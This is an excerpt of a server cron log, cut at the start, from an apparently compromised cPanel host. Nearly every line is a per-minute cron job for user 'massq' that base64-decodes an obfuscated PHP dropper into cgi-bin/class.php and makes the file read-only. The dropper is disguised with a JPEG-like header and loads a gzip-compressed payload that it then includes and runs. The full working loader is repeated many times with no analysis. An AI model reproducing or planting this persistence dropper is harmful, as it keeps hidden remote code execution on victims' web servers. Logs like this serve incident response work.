yKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:35:01 server CROND[28210]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 13:35:01 server CROND[28208]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 13:36:01 server CROND[28350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:37:01 server CROND[28426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:38:01 server CROND[28503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:39:01 server CROND[28671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:39:01 server CROND[28672]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 13:40:01 server CROND[28756]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 13:40:01 server CROND[28758]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 13:40:01 server CROND[28757]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 13:40:01 server CROND[28755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:41:01 server CROND[28879]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:42:02 server CROND[28945]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 13:42:02 server CROND[28946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:43:01 server CROND[29022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:44:01 server CROND[29191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:45:01 server CROND[29268]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:45:01 server CROND[29269]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 13:45:01 server CROND[29272]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 13:46:01 server CROND[29390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:47:01 server CROND[29458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:48:01 server CROND[29548]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
